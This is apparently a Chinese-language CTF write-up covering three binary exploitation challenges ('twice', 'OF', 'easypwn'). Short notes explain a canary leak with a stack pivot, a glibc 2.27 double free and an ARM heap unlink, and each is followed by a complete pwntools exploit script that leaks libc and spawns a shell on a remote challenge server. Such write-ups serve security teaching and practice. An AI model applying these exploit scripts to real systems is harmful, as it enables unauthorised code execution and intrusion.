我是一只懒狗,起床为了吃饭,吃饭为了睡觉,睡觉为了起床
twice
read没有0截断,所以puts打印出stack地址和canary值,然后第二轮修改rbp的值,用leave_ret栈迁移,此处是抬栈,然后执行上方布置的ROP链
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | p = process('./main') |
4 | p = remote('121.36.59.116',9999) |
5 | elf =ELF('./main') |
6 | libc =ELF('./libc-2.23.so') |
7 | pop_rdi_ret = 0x0000000000400923 |
8 | leave_ret = 0x0000000000400879 |
9 | payload = 'U'*0x55 + 'FMYY' |
10 | p.sendafter('>',payload) |
11 | p.recvuntil('FMYY') |
12 | canary = u64(p.recv(7).rjust(8,'\x00')) |
13 | stack = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) |
14 | log.info('Canary:\t' + hex(canary)) |
15 | log.info('Stack:\t' + hex(stack)) |
16 | payload = p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main']) |
17 | payload = payload.ljust(0x58,'\x00') |
18 | payload += p64(canary) + p64(stack - 0x78) + p64(leave_ret) |
19 | p.sendafter('>',payload) |
20 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts'] |
21 | log.info('LIBC:\t' + hex(libc_base)) |
22 | system = libc.sym['system'] + libc_base |
23 | binsh = libc.search('/bin/sh').next() + libc_base |
24 | rce = libc_base + 0x4526A |
25 | p.sendafter('>','FMYY') |
26 | payload = 'U'*0x58 + p64(canary) + 'U'*0x8 + p64(rce) |
27 | p.sendafter('>',payload) |
28 | p.interactive() |
OF
给了源码,但是源码和远程编译出的文件不一样,简单的2.27下的double free
1 | |
2 | from pwn import* |
3 | context.log_level ='DEBUG' |
4 | def new(index): |
5 | p.sendlineafter('choice:','1') |
6 | p.sendlineafter('Index:',str(index)) |
7 | def edit(index,content): |
8 | p.sendlineafter('choice:','2') |
9 | p.sendlineafter('Index:',str(index)) |
10 | p.sendafter('Content:',content) |
11 | def show(index): |
12 | p.sendlineafter('choice:','3') |
13 | p.sendlineafter('Index:',str(index)) |
14 | def free(index): |
15 | p.sendlineafter('choice:','4') |
16 | p.sendlineafter('Index:',str(index)) |
17 | |
18 | p = process('./main') |
19 | p = remote('121.36.74.70',9999) |
20 | libc =ELF('./libc-2.27.so') |
21 | for i in range(7): |
22 | new(i) |
23 | new(7) |
24 | new(8) |
25 | for i in range(8): |
26 | free(i) |
27 | for i in range(7): |
28 | new(i) |
29 | new(7) |
30 | show(7) |
31 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x60 - 0x10 |
32 | log.info('LIBC:\t' + hex(libc_base)) |
33 | rce = libc_base + libc.sym['system'] |
34 | binsh = libc_base + libc.search('/bin/sh').next() |
35 | free_hook = libc_base + libc.sym['__free_hook'] |
36 | free(7) |
37 | |
38 | edit(7,p64(free_hook)) |
39 | new(8) |
40 | new(9) |
41 | edit(9,p64(rce)) |
42 | edit(0,'/bin/sh\x00') |
43 | free(0) |
44 | p.interactive() |
easypwn
1 | $ qemu-arm -g 1234 -L . ./main |
2 | $ gdb > target remote localhost:1234 |
进行调试,漏洞堆溢出,最终是unlink实现任意写
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def new(size,content): |
4 | p.sendlineafter('>>> ','2') |
5 | p.sendlineafter('Length:',str(size)) |
6 | p.sendafter('Tag:',content) |
7 | def show(): |
8 | p.sendlineafter('>>> ','1') |
9 | def edit(index,size,content): |
10 | p.sendlineafter('>>> ','3') |
11 | p.sendlineafter('Index:',str(index)) |
12 | p.sendlineafter('Length:',str(size)) |
13 | p.sendafter('Tag:',content) |
14 | def free(index): |
15 | p.sendlineafter('>>> ','4') |
16 | p.sendlineafter('Tag:',str(index)) |
17 | |
18 | p = process('qemu-arm -g 1234 -L . ./main',shell=True) |
19 | elf =ELF('./main') |
20 | p = remote('121.36.58.215',1337) |
21 | ''' |
22 | new(0x10,'FMYY') |
23 | new(0x38,'FMYY') |
24 | new(0x38,'FMYY') |
25 | new(0x38,'FMYY') |
26 | new(0x10,'FMYY') |
27 | edit(0,0x18,'\x00'*0x14 + p32(0xC1)) |
28 | free(1) |
29 | new(0x38,'FMYY') #2 |
30 | show() |
31 | p.recvuntil('2 : ') |
32 | libc_base = u32(p.recv(4)) - 0x9A8EC |
33 | log.success('LIBC:\t' + hex(libc_base)) |
34 | system = libc_base + 0x51800 |
35 | new(0x38,'FMYY') |
36 | new(0x38,'FMYY') |
37 |
|
38 | free(2) |
39 | free(5) |
40 | free(0) |
41 | ''' |
42 | new(0x10,'FMYY') |
43 | new(0x60,'FMYY') |
44 | new(0x10,'FMYY') |
45 | |
46 | paylaod = p32(0) +p32(0x20) + p32(0x2106C - 0xC) + p32(0x2106C - 8) + p32(0x10) + p32(0x68) |
47 | edit(0,0x18,paylaod) |
48 | free(1) |
49 | |
50 | edit(0,0x20,p64(0) + p32(0x10) + p32(0x2100C) + p32(0x10) + p32(0x21038) + p32(0x10) + p32(0x21030)) |
51 | |
52 | edit(1,4,p32(0x103E4)) |
53 | free(0) |
54 | |
55 | libc_base = u32(p.recv(4)) - 0x355B4 |
56 | log.success('LIBC:\t' + hex(libc_base)) |
57 | system = libc_base + 0x51800 |
58 | edit(2,4,p32(system)) |
59 | p.sendline('sh') |
60 | p.interactive() |